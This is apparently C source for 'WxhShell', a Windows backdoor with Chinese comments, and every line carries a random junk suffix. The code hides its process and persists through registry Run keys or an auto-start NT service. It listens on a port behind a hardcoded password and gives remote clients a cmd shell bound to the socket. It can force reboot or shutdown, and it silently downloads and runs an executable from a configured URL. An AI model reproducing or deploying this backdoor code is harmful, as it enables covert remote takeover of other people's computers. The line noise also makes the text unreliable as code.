    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +F92_a4  
    if(Boot(SHUTDOWN)) ROJ=ZYof  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a] P0PH~  
    else { K*P:FCz  
    closesocket(wsh); 97pfMk1_  
    ExitThread(0); QT4&Ix,4T1  
    } sdBB(  
    break; 8^pu C  
    } N (0%C?  
  // 获取shell Y?V.O  
  case 's': { X- j@#Qb  
    CmdShell(wsh); Z_4|L+i<{  
    closesocket(wsh); b"y4-KV  
    ExitThread(0); .wPI%5D  
    break; bl-D{)X  
  } K2gF;(  
  // 退出 y`Zn{mQ@[  
  case 'x': { |~B`[p]5H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T*%O\&'r  
    CloseIt(wsh); v+~O\v5Q  
    break; "I QM4:  
    } x~ E\zw  
  // 离开 '3=@UBs  
  case 'q': { a(AYY<g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /<k]mY cu  
    closesocket(wsh); m>f8RBp]'  
    WSACleanup(); l\37/Z  
    exit(1); YJ}9VY<}1K  
    break; C$d b) 5-  
        } 9vBW CCf  
  } ;!B,P-Z"g  
  } bb}Fu/S  
_2WW0  
  // 提示信息 A$n:   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qS?^(Vt|R  
} ! u9LZ  
  } ;( (|0Xa  
\s6 VOR/  
  return; *-&+;|mM  
} L]E.TvM1*  
oxug  
// shell模块句柄 L|p+;ex  
int CmdShell(SOCKET sock) EUby QL  
{ eMtQa;Lc9o  
STARTUPINFO si; #i=m%>zjN  
ZeroMemory(&si,sizeof(si)); i)(-Ad_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HfEl TC:3f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =vsvx{o?  
PROCESS_INFORMATION ProcessInfo; a>&dAo}  
char cmdline[]="cmd"; Zd]ua_)I%[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M63t4; 0A  
  return 0; De\Ocxx  
} kBtzJ#j B  
Q"K`~QF"  
// 自身启动模式 4'y@ne}g!  
int StartFromService(void) |?v+8QL,;t  
{ Oo/@A_JO@  
typedef struct Pk&$ #J_  
{ jEm =A8q  
  DWORD ExitStatus; juQ?k xOB  
  DWORD PebBaseAddress; !1#=j;N`  
  DWORD AffinityMask; \eXuNv_  
  DWORD BasePriority; q! WiX|P  
  ULONG UniqueProcessId; @xr}(.  
  ULONG InheritedFromUniqueProcessId; jP.dQj^j&  
}   PROCESS_BASIC_INFORMATION; G[]h1f!  
v)~!HCG  
PROCNTQSIP NtQueryInformationProcess; 2BO"mc<#$  
7 b{y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XdE|7=+s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bqw/\Lxwlf  
s14 ot80)  
  HANDLE             hProcess; 5}2148  
  PROCESS_BASIC_INFORMATION pbi; YoSBS   
X$=/H 6R5Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]+Z,HY@;-  
  if(NULL == hInst ) return 0; >6|Xvtf  
%?J-0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'OU`$K7n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S_;m+Ytg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \*Z:w3;r  
5k;}I|rg%  
  if (!NtQueryInformationProcess) return 0; \"P$*y4Le  
:ay`Id_tm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]?_V+F  
  if(!hProcess) return 0; } a!HbH  
cHJ4[x=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y8/&1s_  
u6 4{w,  
  CloseHandle(hProcess); p+CK+m   
!gi3J @  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d!y_N&z|(  
if(hProcess==NULL) return 0; {(Ba  
e!w#{</8Q  
HMODULE hMod; :/6u*HwZh  
char procName[255]; >fp_$bjd  
unsigned long cbNeeded; VqS1n  
VP^{-mDph  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); < Q6  
`82^!7!  
  CloseHandle(hProcess); "YN6o_*]  
>[<f\BN|  
if(strstr(procName,"services")) return 1; // 以服务启动 (R!`Z%  
,#hNHFa'JH  
  return 0; // 注册表启动 OKnpG*)u=g  
} 2 ;Q|h$ n  
jWK>=|)=c  
// 主模块 [ub)`-6 u  
int StartWxhshell(LPSTR lpCmdLine) 58]t iP"  
{ 0+k=gO  
  SOCKET wsl; vkLyGb7r<  
BOOL val=TRUE; k;HI-v  
  int port=0; Is!+ `[ma  
  struct sockaddr_in door; 7TA&u'  
[pSQ8zdF"  
  if(wscfg.ws_autoins) Install(); w +HKvOs5c  
*s?C\)x  
port=atoi(lpCmdLine); yS4nB04`=  
`m\ ?gsw7  
if(port<=0) port=wscfg.ws_port; R.rE+gxO1  
 @4>?Y=#  
  WSADATA data; Q7_#k66gb7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .8XkB<[wb  
C^!~WFy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k>#-NPU$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u+ 8wBb5!  
  door.sin_family = AF_INET; 5yf`3vV|3@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b7HT<$Wg  
  door.sin_port = htons(port); UZo[]$"Q`  
8< z   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \j0016;  
closesocket(wsl); nr%P11U\c  
return 1; c22L]Sxo  
} dl+c+w"  
O`.IE? h#  
  if(listen(wsl,2) == INVALID_SOCKET) { l?KP /0`  
closesocket(wsl); P?zL`czWd  
return 1; hYVy65Ea  
} 1r<'&f5  
  Wxhshell(wsl); 6\m'MV`R!  
  WSACleanup(); &zHY0fxX  
fjHd"!)3  
return 0; )SfM`W)Y  
>ajcfG .k(  
} D"P<;@ef  
o 'Z W  
// 以NT服务方式启动 :-j/Y'H_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /Tp>aW%}"  
{ QLZ%m$Z  
DWORD   status = 0; N._^\FRyn  
  DWORD   specificError = 0xfffffff; "S psSQ  
6}:(m#+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q ;e/gP2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @Dd3mWKq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1+Bj` ACP  
  serviceStatus.dwWin32ExitCode     = 0; (!T\[6  
  serviceStatus.dwServiceSpecificExitCode = 0; fKa]F`p_h  
  serviceStatus.dwCheckPoint       = 0; VKy3tW/_&  
  serviceStatus.dwWaitHint       = 0; SKVQ !^o  
Cil1wFBb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F#|mN0op  
  if (hServiceStatusHandle==0) return; Pa/2])w  
Zrq\:KxX  
status = GetLastError(); 6W)#F O`  
  if (status!=NO_ERROR) tA-p!#V<k1  
{ v#9Uy}NJ9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E\VKlu4  
    serviceStatus.dwCheckPoint       = 0; .WlZT-  
    serviceStatus.dwWaitHint       = 0; |qb-iXW=  
    serviceStatus.dwWin32ExitCode     = status; LHq*E`  
    serviceStatus.dwServiceSpecificExitCode = specificError; RYM[{]4b5F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?aU-Y_pMe  
    return; ;z9U_  
  } hD7Lgi-N)W  
f1I/aRV:+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +\Je B/F  
  serviceStatus.dwCheckPoint       = 0; }QJ6"s  
  serviceStatus.dwWaitHint       = 0; sDXQ{*6a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D#11 N^-K  
} |k)Nf+(}W  
k'K 1zUBj  
// 处理NT服务事件,比如:启动、停止 }Q_ }c9?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,sn 9&E  
{ ZV`o: Gd  
switch(fdwControl) I_ na^s h*  
{ ^/7Y3n!|3  
case SERVICE_CONTROL_STOP: a7e.Z9k!  
  serviceStatus.dwWin32ExitCode = 0; nb(Od,L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y&2O)z!B  
  serviceStatus.dwCheckPoint   = 0; 6{2 9cX.  
  serviceStatus.dwWaitHint     = 0; 8o,"G}Hjk  
  { CPu~^ik  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0y=lf+xA*  
  } *"j3x} U<  
  return; Oyy E0  
case SERVICE_CONTROL_PAUSE: ?I 7hbqQd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C oO0~q  
  break; Kk/cI6`W  
case SERVICE_CONTROL_CONTINUE: 't3nh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <s5s<q2  
  break; h\*I*I8C  
case SERVICE_CONTROL_INTERROGATE: }z_7?dn/  
  break; KOD%>+vG$  
}; |$c~Jq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #mc6;TRZO  
} qZX\riR  
vFsl]|<;8  
// 标准应用程序主函数 j.UO>1{7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ./}W3  
{ _Zbgmasb  
]]|vQA^  
// 获取操作系统版本 ASaNac-3  
OsIsNt=GetOsVer(); tN&X1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;h7O_|<%  
E^t}p[s  
  // 从命令行安装 2$?j'i!  
  if(strpbrk(lpCmdLine,"iI")) Install(); G4)X~.Fy  
\yY2 mr  
  // 下载执行文件 r'& 6P-Vm  
if(wscfg.ws_downexe) { P>ZIP* Gr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8[H)t Kf8  
  WinExec(wscfg.ws_filenam,SW_HIDE); PYW>  
} $(;0;!t.  
]s~%1bd  
if(!OsIsNt) { %s[ n2w  
// 如果时win9x,隐藏进程并且设置为注册表启动 KgEfhO$W  
HideProc(); 4 UnN~  
StartWxhshell(lpCmdLine);  ehQ~+x  
} @'FOM  
else Y>PC>  
  if(StartFromService()) IJofbuzw:  
  // 以服务方式启动 Nrk/_0^  
  StartServiceCtrlDispatcher(DispatchTable); Eb9{  
else hB-<GGcO <  
  // 普通方式启动 M}`G}*  
  StartWxhshell(lpCmdLine); b "5WsJ:'#  
`Qo}4nuRs  
return 0; @]B 7(j<'R  
} C9E@$4*  
Ozs&YZ  
>A1;!kGE#  
@8V~&yqq  
=========================================== H?j!f$sw  
K_LwYO3  
=s1Pf__<k  
#[NNb?`F  
zNJ-JIo%  
rqYx\i?  
" !!UQ,yU  
x|<89o L  
#include <stdio.h> @3I/57u<  
#include <string.h> )` 90*  
#include <windows.h> Ss#UX_DT_  
#include <winsock2.h> IT\ x0b cv  
#include <winsvc.h> O_y?53X  
#include <urlmon.h> f`8mES'gc8  
Q)}z$h55  
#pragma comment (lib, "Ws2_32.lib") 5tl uS  
#pragma comment (lib, "urlmon.lib") HDT-f9%}<4  
kS$m$ D  
#define MAX_USER   100 // 最大客户端连接数 a1# 'uS9W  
#define BUF_SOCK   200 // sock buffer ;U$EM+9  
#define KEY_BUFF   255 // 输入 buffer ]$?\,`  
2~2j?\AEd.  
#define REBOOT     0   // 重启 FK.Qj P:  
#define SHUTDOWN   1   // 关机 P};GcV-  
uM('R;<^  
#define DEF_PORT   5000 // 监听端口 ?FwjbG<  
Af7&;8pM  
#define REG_LEN     16   // 注册表键长度 M]M(E) *5  
#define SVC_LEN     80   // NT服务名长度 wT-@v,$  
rgXD>yu(  
// 从dll定义API K^+}__;]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q. NvwJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,N`D{H"F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~F=,)GE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $(eqZ<y  
1PjqXgN5p  
// wxhshell配置信息 :Y2J7p[+  
struct WSCFG { '7TT4~F  
  int ws_port;         // 监听端口 X"3Za[9j  
  char ws_passstr[REG_LEN]; // 口令 3eP7vy  
  int ws_autoins;       // 安装标记, 1=yes 0=no "4e{Cq  
  char ws_regname[REG_LEN]; // 注册表键名 wQ/Z:  
  char ws_svcname[REG_LEN]; // 服务名 (w{C*iB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <.B^\X$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (k&r^V/=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :T #"bY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  = ~^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" om}jQJ]KH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >@c~M  
/yS/*ET8  
}; KHJk}]K  
![a~y`<K,  
// default Wxhshell configuration 26<Wg7/,  
struct WSCFG wscfg={DEF_PORT, W;@9x1jK X  
    "xuhuanlingzhe", ,=Fn6'  
    1, J{bNx8.&  
    "Wxhshell", #Bgq]6G2  
    "Wxhshell",  _F9O4Q4  
            "WxhShell Service", kw.IVz<  
    "Wrsky Windows CmdShell Service", J=C63YB  
    "Please Input Your Password: ", W:z!fh-  
  1, cPm-)/E)i  
  "http://www.wrsky.com/wxhshell.exe", Z-B b,8  
  "Wxhshell.exe" K{x FhdW  
    }; ~^R?HS  
U?d4 ^  
// 消息定义模块 Y94/tjt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Yab=p 9V;;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~ GW8|tw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "~HV!(dRMC  
char *msg_ws_ext="\n\rExit."; '{(/C?T  
char *msg_ws_end="\n\rQuit."; xMAb=87_  
char *msg_ws_boot="\n\rReboot..."; bxA1fA;  
char *msg_ws_poff="\n\rShutdown..."; @Xb>GPVe#L  
char *msg_ws_down="\n\rSave to "; =y kOh_M  
C #A\Rfi  
char *msg_ws_err="\n\rErr!"; 5zBayJh#  
char *msg_ws_ok="\n\rOK!"; d$(>=gzBQ  
 {!9i8T  
char ExeFile[MAX_PATH]; wu2C!gyBo  
int nUser = 0; eX@7f!uz  
HANDLE handles[MAX_USER]; J \V.J/  
int OsIsNt; 3Ta<7tEM  
Cq-#| +zr  
SERVICE_STATUS       serviceStatus; .6D9m.Q,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }lzN)e  
]9}T)D f'  
// 函数声明 `bF] O"  
int Install(void); Y?>us  
int Uninstall(void); A, )G$yT\  
int DownloadFile(char *sURL, SOCKET wsh); N2x!RYW  
int Boot(int flag); 'o*:~n  
void HideProc(void); ,$qqHSd1M  
int GetOsVer(void); qm&Z_6Pw  
int Wxhshell(SOCKET wsl); 4/B n9F  
void TalkWithClient(void *cs); %g<J"/  
int CmdShell(SOCKET sock); }_{QsPx9  
int StartFromService(void); (s\":5 C  
int StartWxhshell(LPSTR lpCmdLine); 0fd\R_"d.  
U~w g'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t9Nu4yl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S=wJ{?gzAK  
njy^<7 ;  
// 数据结构和表定义 V ^U1o[`  
SERVICE_TABLE_ENTRY DispatchTable[] = i!=2 8|_  
{ ^QKL}xiV:  
{wscfg.ws_svcname, NTServiceMain}, &MlBp I  
{NULL, NULL} <.h\%&'U  
}; r4D 6I,  
A' \jaB  
// 自我安装 ", :Ta|  
int Install(void) M:~/e8Xv  
{ /<s $Am  
  char svExeFile[MAX_PATH]; aumXidb S  
  HKEY key; n6a*|rE  
  strcpy(svExeFile,ExeFile); T"GuE[?a  
/@H2m\vBX  
// 如果是win9x系统,修改注册表设为自启动 joN}N}U  
if(!OsIsNt) { Z{w{bf1&A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "k${5wk#Fl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [?$|   
  RegCloseKey(key); <9s=K\-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f 2#9E+IQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R "&(Ae?LR  
  RegCloseKey(key); /Lc= K<  
  return 0; 2z\4?HJy  
    } 7Pc0|Z/  
  } N&0MA  
} Vd{h|=J  
else { #NVqS5  
] _/d  
// 如果是NT以上系统,安装为系统服务 YW}1iT/H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Iy}r'#N  
if (schSCManager!=0) $DfaW3bJ  
{ J\%<.S>  
  SC_HANDLE schService = CreateService V+dfV`*k  
  ( P'Fy,fNg  
  schSCManager, hao0_9q+  
  wscfg.ws_svcname, x Qh?  
  wscfg.ws_svcdisp, a9E!2o+,  
  SERVICE_ALL_ACCESS, t|X |67W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h]94\XQ>$  
  SERVICE_AUTO_START, rI:KZ}GZ  
  SERVICE_ERROR_NORMAL, k"P2J}4eO  
  svExeFile, F$K-Q;r]<  
  NULL, Zw5\{Z0  
  NULL, Or9@X=C  
  NULL, ~EU[?  
  NULL, f$E66yG  
  NULL 2.2Z'$W  
  ); 6[9E^{(z  
  if (schService!=0) 4M8AYh2)  
  { 16\U'<  
  CloseServiceHandle(schService); vII8>x%*  
  CloseServiceHandle(schSCManager); RZfC ?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1>*]jj}  
  strcat(svExeFile,wscfg.ws_svcname); >5Zp x8W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^gFjm~2I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7F-b/AdVq  
  RegCloseKey(key); 0<L@f=i  
  return 0; lO9{S=N  
    } g[;iVX^1&  
  } f*~ 4Kv  
  CloseServiceHandle(schSCManager); %uGA+ \b  
} @"s\eL,r  
} 5Ag>,>kJ6  
Xl6)&   
return 1; Q:~w;I  
} @2_s;!K  
+k"dN^K]D  
// 自我卸载 $ Yz &x%Lb  
int Uninstall(void) HHZ!mYr  
{ kXC.rgal  
  HKEY key; bE>3D#V<  
ABV\:u  
if(!OsIsNt) { ^+[o +  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2vnzB8 "k  
  RegDeleteValue(key,wscfg.ws_regname); FGx_ qBG4|  
  RegCloseKey(key); 4Uf+t?U9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e #^|NQ<'A  
  RegDeleteValue(key,wscfg.ws_regname); Z"? AaD[  
  RegCloseKey(key); fC3IxlG  
  return 0; s/[i>`g/9  
  } ud:?~?j&w  
} U30)r+&  
} BHmA*3?  
else { W7A'5  
4Sg!NPuu7&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cM4?G gn  
if (schSCManager!=0) \|>eG u  
{ "tIf$z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); savz>E &  
  if (schService!=0) :,q3?l6  
  { Q]xW}5 /  
  if(DeleteService(schService)!=0) { g}^ /8rW  
  CloseServiceHandle(schService); |/fbU_d  
  CloseServiceHandle(schSCManager); [/uKo13  
  return 0; |V 9%@ Y?  
  } ;oFaDTX]  
  CloseServiceHandle(schService); >q &ouVE  
  } #>'1oC{  
  CloseServiceHandle(schSCManager); N/?Ms rZw  
} HHnabSn}{q  
} E2*"~gL^,  
,.`^Wx6F  
return 1; 6 qKIz{;  
} !v;r3*#Nky  
UuT[UB=x5  
// 从指定url下载文件 )N=b<%WD   
int DownloadFile(char *sURL, SOCKET wsh) /1li^</|p`  
{ G0s:Dum  
  HRESULT hr; Bh' vr3|  
char seps[]= "/"; eBAB7r/7  
char *token; RO.(k!J .  
char *file; PYHm6'5BtB  
char myURL[MAX_PATH]; "(efd~.]  
char myFILE[MAX_PATH]; x#8=drh.:C  
,t+ATaOF  
strcpy(myURL,sURL); r3j8[&B"  
  token=strtok(myURL,seps); Zc4hjg  
  while(token!=NULL) Ic=V:  
  { H+5]3>O-$  
    file=token; aY:(0en]&  
  token=strtok(NULL,seps); f,L  
  } +~fu-%,k  
M.8!BB7\8e  
GetCurrentDirectory(MAX_PATH,myFILE); w|nVK9.  
strcat(myFILE, "\\"); EhFhL4Xdn  
strcat(myFILE, file); l.)N  
  send(wsh,myFILE,strlen(myFILE),0); ~v54$#CB  
send(wsh,"...",3,0); iz^wBQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R-Fi`#PG2  
  if(hr==S_OK) *>'R R<  
return 0; ABHZ)OM  
else Lv^j l  
return 1; x b0+4w|  
}\0"gM  
} *i?qOv /=>  
?*s!&-KI  
// 系统电源模块 _@OYC<  
int Boot(int flag) fcZOsTj  
{ `p?E{k.N  
  HANDLE hToken; (&*F`\  
  TOKEN_PRIVILEGES tkp; Ys_YjlMIbl  
Y+jKP*ri  
  if(OsIsNt) { -mkync3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bp$jD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O(~Vvoq  
    tkp.PrivilegeCount = 1; Ksp;bfe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; " }ZD)7K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !>:tF,fcB  
if(flag==REBOOT) { =5|5j!i=q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j>b OnCp~  
  return 0; XP`kf]9  
} v4zd x)  
else { 5,c`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u9gr@06  
  return 0; *"CvB{XF&Z  
} kxmS   
  } |K_B{v.   
  else { f!J^vDl  
if(flag==REBOOT) { ^`!Daqk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e"CLhaT  
  return 0; +-nQ, fOV  
} ,pASjFWi  
else { piG1&*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ji!-G4.n"  
  return 0; 1%@~J\qF  
} tQ~B!j]  
} ~ 9;GD4  
% *G)*n  
return 1; ( 7?%Hg  
} fA8+SaXW%  
Fq9[:  
// win9x进程隐藏模块 9vbh5xX   
void HideProc(void) 7xc<vl#:q7  
{ Xdq, =;  
*YtNt5u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  B~NC  
  if ( hKernel != NULL ) ~/U0S.C  
  { V3oAZ34)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1 ~7_!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LbR-uc?x  
    FreeLibrary(hKernel); WNb$2q=  
  } RrHnDO'  
|u{QI3#'  
return; yx2.7h3  
} }SV3PdE  
v/czW\z  
// 获取操作系统版本 F&*M$@u5  
int GetOsVer(void) S0+zq<  
{ upDQNG>d  
  OSVERSIONINFO winfo; u,m-6@ il  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1955(:I  
  GetVersionEx(&winfo); ~qS/90,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !T*B{+|  
  return 1; <yS"c5D6  
  else |&Pl4P  
  return 0; OD]J@m  
} "AouiZkh  
$)3PF  
// 客户端句柄模块 5 DB>zou   
int Wxhshell(SOCKET wsl) WO-WoPO  
{ ^eW.hNg  
  SOCKET wsh; ?X'* p<`  
  struct sockaddr_in client; ?i~/gjp  
  DWORD myID; #'x?) AS  
WQpJd7  
  while(nUser<MAX_USER) :6?&FzD`  
{ 3- bcY4  
  int nSize=sizeof(client);  W6O.E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ikhX5 &e  
  if(wsh==INVALID_SOCKET) return 1; ku;nVV  
l,u{:JC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V@:=}*E  
if(handles[nUser]==0)  ^qqHq  
  closesocket(wsh); ?Q)Z..7  
else q=Yerp3~  
  nUser++; AfN   
  } f^4*.~cB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d5y2Y/QO  
C[nr>   
  return 0; ? SP7vQ/  
} 9Nu#&_2R  
|V\.[F2Fe  
// 关闭 socket *'YNRM\}  
void CloseIt(SOCKET wsh) 1ckw[0d  
{ ;CMC`h9,  
closesocket(wsh); 23$hwr&G\  
nUser--; |u"R(7N*  
ExitThread(0);  #>jH[Q  
} {H; |G0tR  
t!SQLgA  
// 客户端请求句柄 E$tk1SVo  
void TalkWithClient(void *cs) +~Lzsh"  
{ 3c^=<i %  
j{R|]SjW2H  
  SOCKET wsh=(SOCKET)cs; |/^aL j^u  
  char pwd[SVC_LEN]; 1vs>2` DLa  
  char cmd[KEY_BUFF]; W lQ=CRY  
char chr[1]; ff1B)e  
int i,j; HoE.//b  
R9/xC7l@  
  while (nUser < MAX_USER) { K}`p_)(  
K4/P(*r`  
if(wscfg.ws_passstr) { DG*o w^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Q\$dneY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zXPJ;^Xxa  
  //ZeroMemory(pwd,KEY_BUFF); SE )j}go  
      i=0; tc <M]4-  
  while(i<SVC_LEN) { \G=R hx f  
o>;0NF| }  
  // 设置超时 sQAc"S  
  fd_set FdRead; WFB|lNf&  
  struct timeval TimeOut; Cn;H@!8<s  
  FD_ZERO(&FdRead); SE9u2Jk  
  FD_SET(wsh,&FdRead); @GZa:(  
  TimeOut.tv_sec=8; ~oA9+mT5  
  TimeOut.tv_usec=0; m2uML*&O5K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &9dr+o-(~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y2"S\%7$h  
5m USh3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^xw [d}0 S  
  pwd=chr[0]; e1^{  
  if(chr[0]==0xd || chr[0]==0xa) { Gx_`|I{P  
  pwd=0; x";.gjI |g  
  break; R^M (fC  
  } \1`DaQp7  
  i++; W/r?0E  
    } |z|)r"*\4  
\v3> Eo[  
  // 如果是非法用户,关闭 socket {9.~]dI|L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7R<u=U  
} m)|.:sj  
ZYR,8y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HvgK_'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zHoO?tGf  
{iIg 4PzrU  
while(1) { #D LT-G0  
h[je_^5  
  ZeroMemory(cmd,KEY_BUFF); B,vHn2W  
JNM@Q  
      // 自动支持客户端 telnet标准   76_8e{zbr  
  j=0; fFZ` rPb  
  while(j<KEY_BUFF) { ,gL)~6!A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N 1f~K.e\  
  cmd[j]=chr[0]; .H (}[eG_  
  if(chr[0]==0xa || chr[0]==0xd) { oF b mz*  
  cmd[j]=0; 1Q&WoJLfR  
  break; `b#nC[b6|v  
  } X:SzkkVl7  
  j++; 18p3  
    } gc2|V6(  
Y 6<0%  
  // 下载文件 u5XU`!  
  if(strstr(cmd,"http://")) { OU.9 #|qU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1|~#028  
  if(DownloadFile(cmd,wsh)) Q0q)n=i }]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )' x/q  
  else H&yFSz}6a  
